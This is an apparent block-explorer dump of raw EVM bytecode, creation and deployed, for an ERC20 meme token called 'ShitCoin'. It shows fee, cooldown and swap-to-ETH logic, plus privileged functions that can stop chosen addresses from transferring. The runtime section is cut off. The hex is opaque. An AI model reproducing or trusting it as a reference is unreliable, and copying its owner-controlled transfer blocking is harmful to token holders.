0a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611afe57600080fd5b505afa158015611b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3691906123f2565b81600181518110611b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c3b959493929190612a50565b600060405180830381600087803b158015611c5557600080fd5b505af1158015611c69573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611c97838383611d11565b505050565b6000806000611ca9611edc565b91509150611cc08183611cc790919063ffffffff16565b9250505090565b6000611d0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f47565b905092915050565b600080600080600080611d2387611faa565b955095509550955095509550611d8186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e62816120ba565b611e6c8483612177565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ec99190612a35565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611f186b033b2e3c9fd0803ce8000000600854611cc790919063ffffffff16565b821015611f3a576008546b033b2e3c9fd0803ce8000000935093505050611f43565b81819350935050505b9091565b60008083118290611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8591906128d3565b60405180910390fd5b5060008385611f9d9190612b70565b9050809150509392505050565b6000806000806000806000806000611fc78a600a54600b546121b1565b9250925092506000611fd7611c9c565b90506000806000611fea8e878787612247565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061205483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611854565b905092915050565b600080828461206b9190612b1a565b9050838110156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a790612955565b60405180910390fd5b8091505092915050565b60006120c4611c9c565b905060006120db82846122d090919063ffffffff16565b905061212f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61218c8260085461201290919063ffffffff16565b6008819055506121a78160095461205c90919063ffffffff16565b6009819055505050565b6000806000806121dd60646121cf888a6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061220760646121f9888b6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061223082612222858c61201290919063ffffffff16565b61201290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061226085896122d090919063ffffffff16565b9050600061227786896122d090919063ffffffff16565b9050600061228e87896122d090919063ffffffff16565b905060006122b7826122a9858761201290919063ffffffff16565b61201290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156122e35760009050612345565b600082846122f19190612ba1565b90508284826123009190612b70565b14612340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233790612975565b60405180910390fd5b809150505b92915050565b60008135905061235a81612fdc565b92915050565b60008151905061236f81612fdc565b92915050565b60008135905061238481612ff3565b92915050565b60008151905061239981612ff3565b92915050565b6000813590506123ae8161300a565b92915050565b6000815190506123c38161300a565b92915050565b6000602082840312156123db57600080fd5b60006123e98482850161234b565b91505092915050565b60006020828403121561240457600080fd5b600061241284828501612360565b91505092915050565b6000806040838503121561242e57600080fd5b600061243c8582860161234b565b925050602061244d8582860161234b565b9150509250929050565b60008060006060848603121561246c57600080fd5b600061247a8682870161234b565b935050602061248b8682870161234b565b925050604061249c8682870161239f565b9150509250925092565b600080604083850312156124b957600080fd5b60006124c78582860161234b565b92505060206124d88582860161239f565b9150509250929050565b6000602082840312156124f457600080fd5b600061250284828501612375565b91505092915050565b60006020828403121561251d57600080fd5b600061252b8482850161238a565b91505092915050565b60008060006060848603121561254957600080fd5b6000612557868287016123b4565b9350506020612568868287016123b4565b9250506040612579868287016123b4565b9150509250925092565b600061258f838361259b565b60208301905092915050565b6125a481612c2f565b82525050565b6125b381612c2f565b82525050565b60006125c482612ad5565b6125ce8185612af8565b93506125d983612ac5565b8060005b8381101561260a5781516125f18882612583565b97506125fc83612aeb565b9250506001810190506125dd565b5085935050505092915050565b61262081612c41565b82525050565b61262f81612c84565b82525050565b600061264082612ae0565b61264a8185612b09565b935061265a818560208601612c96565b61266381612d27565b840191505092915050565b600061267b602383612b09565b915061268682612d38565b604082019050919050565b600061269e602a83612b09565b91506126a982612d87565b604082019050919050565b60006126c1602283612b09565b91506126cc82612dd6565b604082019050919050565b60006126e4601b83612b09565b91506126ef82612e25565b602082019050919050565b6000612707602183612b09565b915061271282612e4e565b604082019050919050565b600061272a602083612b09565b915061273582612e9d565b602082019050919050565b600061274d602983612b09565b915061275882612ec6565b604082019050919050565b6000612770602583612b09565b915061277b82612f15565b604082019050919050565b6000612793602483612b09565b915061279e82612f64565b604082019050919050565b60006127b6601783612b09565b91506127c182612fb3565b602082019050919050565b6127d581612c6d565b82525050565b6127e481612c77565b82525050565b60006020820190506127ff60008301846125aa565b92915050565b600060408201905061281a60008301856125aa565b61282760208301846125aa565b9392505050565b600060408201905061284360008301856125aa565b61285060208301846127cc565b9392505050565b600060c08201905061286c60008301896125aa565b61287960208301886127cc565b6128866040830187612626565b6128936060830186612626565b6128a060808301856125aa565b6128ad60a08301846127cc565b979650505050505050565b60006020820190506128cd6000830184612617565b92915050565b600060208201905081810360008301526128ed8184612635565b905092915050565b6000602082019050818103600083015261290e8161266e565b9050919050565b6000602082019050818103600083015261292e81612691565b9050919050565b6000602082019050818103600083015261294e816126b4565b9050919050565b6000602082019050818103600083015261296e816126d7565b9050919050565b6000602082019050818103600083015261298e816126fa565b9050919050565b600060208201905081810360008301526129ae8161271d565b9050919050565b600060208201905081810360008301526129ce81612740565b9050919050565b600060208201905081810360008301526129ee81612763565b9050919050565b60006020820190508181036000830152612a0e81612786565b9050919050565b60006020820190508181036000830152612a2e816127a9565b9050919050565b6000602082019050612a4a60008301846127cc565b92915050565b600060a082019050612a6560008301886127cc565b612a726020830187612626565b8181036040830152612a8481866125b9565b9050612a9360608301856125aa565b612aa060808301846127cc565b9695505050505050565b6000602082019050612abf60008301846127db565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b2582612c6d565b9150612b3083612c6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b6557612b64612cc9565b5b828201905092915050565b6000612b7b82612c6d565b9150612b8683612c6d565b925082612b9657612b95612cf8565b5b828204905092915050565b6000612bac82612c6d565b9150612bb783612c6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bf057612bef612cc9565b5b828202905092915050565b6000612c0682612c6d565b9150612c1183612c6d565b925082821015612c2457612c23612cc9565b5b828203905092915050565b6000612c3a82612c4d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c8f82612c6d565b9050919050565b60005b83811015612cb4578082015181840152602081019050612c99565b83811115612cc3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612fe581612c2f565b8114612ff057600080fd5b50565b612ffc81612c41565b811461300757600080fd5b50565b61301381612c6d565b811461301e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636553686974436f696e2068747470733a2f2f742e6d652f646567656e73686974636f696ea264697066735822122091726e377e5a956db4f69b2e3e3d4edee23fb65bdce0fbd33cc230727621d1a164736f6c63430008040033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461033c578063a9059cbb14610367578063c3c8cd80146103a4578063c9567bf9146103bb578063dd62ed3e146103d257610114565b806370a0823114610294578063715018a6146102d157806375a458cc146102e85780638da5cb5b1461031157610114565b806323b872dd116100dc57806323b872dd146101d55780632ab3083814610212578063313ce567146102295780635932ead1146102545780636fc3eaec1461027d57610114565b806306fdde0314610119578063095ea7b3146101445780630defe7ff1461018157806318160ddd146101aa57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b91906128d3565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906124a6565b61042f565b60405161017891906128b8565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a391906123c9565b61044d565b005b3480156101b657600080fd5b506101bf610509565b6040516101cc9190612a35565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f79190612457565b61051d565b60405161020991906128b8565b60405180910390f35b34801561021e57600080fd5b506102276105f6565b005b34801561023557600080fd5b5061023e61069f565b60405161024b9190612aaa565b60405180910390f35b34801561026057600080fd5b5061027b600480360381019061027691906124e2565b6106a8565b005b34801561028957600080fd5b5061029261075a565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906123c9565b6107cc565b6040516102c89190612a35565b60405180910390f35b3480156102dd57600080fd5b506102e661081d565b005b3480156102f457600080fd5b5061030f600480360381019061030a91906123c9565b610970565b005b34801561031d57600080fd5b50610326610a2c565b60405161033391906127ea565b60405180910390f35b34801561034857600080fd5b50610351610a55565b60405161035e91906128d3565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906124a6565b610a92565b60405161039b91906128b8565b60405180910390f35b3480156103b057600080fd5b506103b9610ab0565b005b3480156103c757600080fd5b506103d0610b2a565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061241b565b61108c565b6040516104069190612a35565b60405180910390f35b606060405180606001604052806023815260200161304a60239139905090565b600061044361043c611113565b848461111b565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048e611113565b73ffffffffffffffffffffffffffffffffffffffff16146104ae57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006b033b2e3c9fd0803ce8000000905090565b600061052a8484846112e6565b6105eb84610536611113565b6105e68560405180606001604052806028815260200161302260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059c611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118549092919063ffffffff16565b61111b565b600190509392505050565b6105fe611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068290612995565b60405180910390fd5b6a295be96e64066972000000600f81905550565b60006009905090565b6106b0611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073490612995565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b611113565b73ffffffffffffffffffffffffffffffffffffffff16146107bb57600080fd5b60004790506107c9816118b8565b50565b6000610816600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611924565b9050919050565b610825611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a990612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109b1611113565b73ffffffffffffffffffffffffffffffffffffffff16146109d157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53686974436f696e000000000000000000000000000000000000000000000000815250905090565b6000610aa6610a9f611113565b84846112e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af1611113565b73ffffffffffffffffffffffffffffffffffffffff1614610b1157600080fd5b6000610b1c306107cc565b9050610b2781611992565b50565b610b32611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690612995565b60405180910390fd5b600e60149054906101000a900460ff1615610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690612a15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061111b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2091906123f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dba91906123f2565b6040518363ffffffff1660e01b8152600401610dd7929190612805565b602060405180830381600087803b158015610df157600080fd5b505af1158015610e05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2991906123f2565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb2306107cc565b600080610ebd610a2c565b426040518863ffffffff1660e01b8152600401610edf96959493929190612857565b6060604051808303818588803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f319190612534565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506a108b2a2c28029094000000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161103692919061282e565b602060405180830381600087803b15801561105057600080fd5b505af1158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061250b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906129f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612935565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d99190612a35565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d906129d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd906128f5565b60405180910390fd5b60008111611409576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611400906129b5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561146057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611844576003600a81905550600a600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561154e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115a45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115bc5750600e60179054906101000a900460ff165b1561166c57600f548111156115d057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061161b57600080fd5b600a426116289190612b1a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117175750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561176d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611783576003600a81905550600f600b819055505b600061178e306107cc565b9050600e60159054906101000a900460ff161580156117fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118135750600e60169054906101000a900460ff165b156118425761182181611992565b600047905067016345785d8a00008111156118405761183f476118b8565b5b505b505b61184f838383611c8c565b505050565b600083831115829061189c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189391906128d3565b60405180910390fd5b50600083856118ab9190612bfb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611920573d6000803e3d6000fd5b5050565b600060085482111561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290612915565b60405180910390fd5b6000611975611c9c565b905061198a8184611cc790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a1e5781602001602082028036833780820191505090505b5090503081600081518110611a5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611afe57600080fd5b505afa158015611b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3691906123f2565b81600181518110611b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c3b959493929190612a50565b600060405180830381600087803b158015611c5557600080fd5b505af1158015611c69573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611c97838383611d11565b505050565b6000806000611ca9611edc565b91509150611cc08183611cc790919063ffffffff16565b9250505090565b6000611d0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f47565b905092915050565b600080600080600080611d2387611faa565b955095509550955095509550611d8186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e62816120ba565b611e6c8483612177565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ec99190612a35565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611f186b033b2e3c9fd0803ce8000000600854611cc790919063ffffffff16565b821015611f3a576008546b033b2e3c9fd0803ce8000000935093505050611f43565b81819350935050505b9091565b60008083118290611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8591906128d3565b60405180910390fd5b5060008385611f9d9190612b70565b9050809150509392505050565b6000806000806000806000806000611fc78a600a54600b546121b1565b9250925092506000611fd7611c9c565b90506000806000611fea8e878787612247565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061205483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611854565b905092915050565b600080828461206b9190612b1a565b9050838110156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a790612955565b60405180910390fd5b8091505092915050565b60006120c4611c9c565b905060006120db82846122d090919063ffffffff16565b905061212f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61218c8260085461201290919063ffffffff16565b6008819055506121a78160095461205c90919063ffffffff16565b6009819055505050565b6000806000806121dd60646121cf888a6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061220760646121f9888b6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061223082612222858c61201290919063ffffffff16565b61201290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061226085896122d090919063ffffffff16565b9050600061227786896122d090919063ffffffff16565b9050600061228e87896122d090919063ffffffff16565b905060006122b7826122a9858761201290919063ffffffff16565b61201290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156122e35760009050612345565b600082846122f19190612ba1565b90508284826123009190612b70565b14612340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233790612975565b60405180910390fd5b809150505b92915050565b60008135905061235a81612fdc565b92915050565b60008151905061236f81612fdc565b92915050565b60008135905061238481612ff3565b92915050565b60008151905061239981612ff3565b92915050565b6000813590506123ae8161300a565b92915050565b6000815190506123c38161300a565b92915050565b6000602082840312156123db57600080fd5b60006123e98482850161234b565b91505092915050565b60006020828403121561240457600080fd5b600061241284828501612360565b91505092915050565b6000806040838503121561242e57600080fd5b600061243c8582860161234b565b925050602061244d8582860161234b565b9150509250929050565b60008060006060848603121561246c57600080fd5b600061247a8682870161234b565b935050602061248b8682870161234b565b925050604061249c8682870161239f565b9150509250925092565b600080604083850312156124b957600080fd5b60006124c78582860161234b565b92505060206124d88582860161239f565b9150509250929050565b6000602082840312156124f457600080fd5b600061250284828501612375565b91505092915050565b60006020828403121561251d57600080fd5b600061252b8482850161238a565b91505092915050565b60008060006060848603121561254957600080fd5b6000612557868287016123b4565b9350506020612568868287016123b4565b9250506040612579868287016123b4565b9150509250925092565b600061258f838361259b565b60208301905092915050565b6125a481612c2f565b82525050565b6125b381612c2f565b82525050565b60006125c482612ad5565b6125ce8185612af8565b93506125d983612ac5565b8060005b8381101561260a5781516125f18882612583565b97506125fc83612aeb565b9250506001810190506125dd565b5085935050505092915050565b61262081612c41565b82525050565b61262f81612c84565b82525050565b600061264082612ae0565b61264a8185612b09565b935061265a818560208601612c96565b61266381612d27565b840191505092915050565b600061267b602383612b09565b915061268682612d38565b604082019050919050565b600061269e602a83612b09565b91506126a982612d87565b604082019050919050565b60006126c1602283612b09565b91506126cc82612dd6565b604082019050919050565b60006126e4601b83612b09565b91506126ef82612e25565b602082019050919050565b6000612707602183612b09565b915061271282612e4e565b604082019050919050565b600061272a602083612b09565b915061273582612e9d565b602082019050919050565b600061274d602983612b09565b915061275882612ec6565b604082019050919050565b6000612770602583612b09565b915061277b82612f15565b604082019050919050565b6000612793602483612b09565b915061279e82612f64565b604082019050919050565b60006127b6601783612b09565b91506127c182612fb3565b602082019050919050565b6127d581612c6d565b82525050565b6127e481612c77565b82525050565b60006020820190506127ff60008301846125aa565b92915050565b600060408201905061281a60008301856125aa565b61282760208301846125aa565b9392505050565b600060408201905061284360008301856125aa565b61285060208301846127cc565b9392505050565b600060c08201905061286c60008301896125aa565b61287960208301886127cc565b6128866040830187612626565b6128936060830186612626565b6128a060808301856125aa565b6128ad60a08301846127cc565b979650505050505050565b60006020820190506128cd6000830184612617565b92915050565b600060208201905081810360008301526128ed8184612635565b905092915050565b6000602082019050818103600083015261290e8161266e565b9050919050565b6000602082019050818103600083015261292e81612691565b9050919050565b6000602082019050818103600083015261294e816126b4565b9050919050565b6000602082019050818103600083015261296e816126d7565b9050919050565b6000602082019050818103600083015261298e816126fa565b9050919050565b600060208201905081810360008301526129ae8161271d565b9050919050565b600060208201905081810360008301526129ce81612740565b9050919050565b600060208201905081810360008301526129ee81612763565b9050919050565b60006020820190508181036000830152612a0e81612786565b9050919050565b60006020820190508181036000830152612a2e816127a9565b9050919050565b6000602082019050612a4a60008301846127cc565b92915050565b600060a082019050612a6560008301886127cc565b612a726020830187612626565b8181036040830152612a8481866125b9565b9050612a9360608301856125aa565b612aa060808301846127cc565b9695505050505050565b6000602082019050612abf60008301846127db565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b2582612c6d565b9150612b3083612c6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b6557612b64612cc9565b5b828201905092915050565b6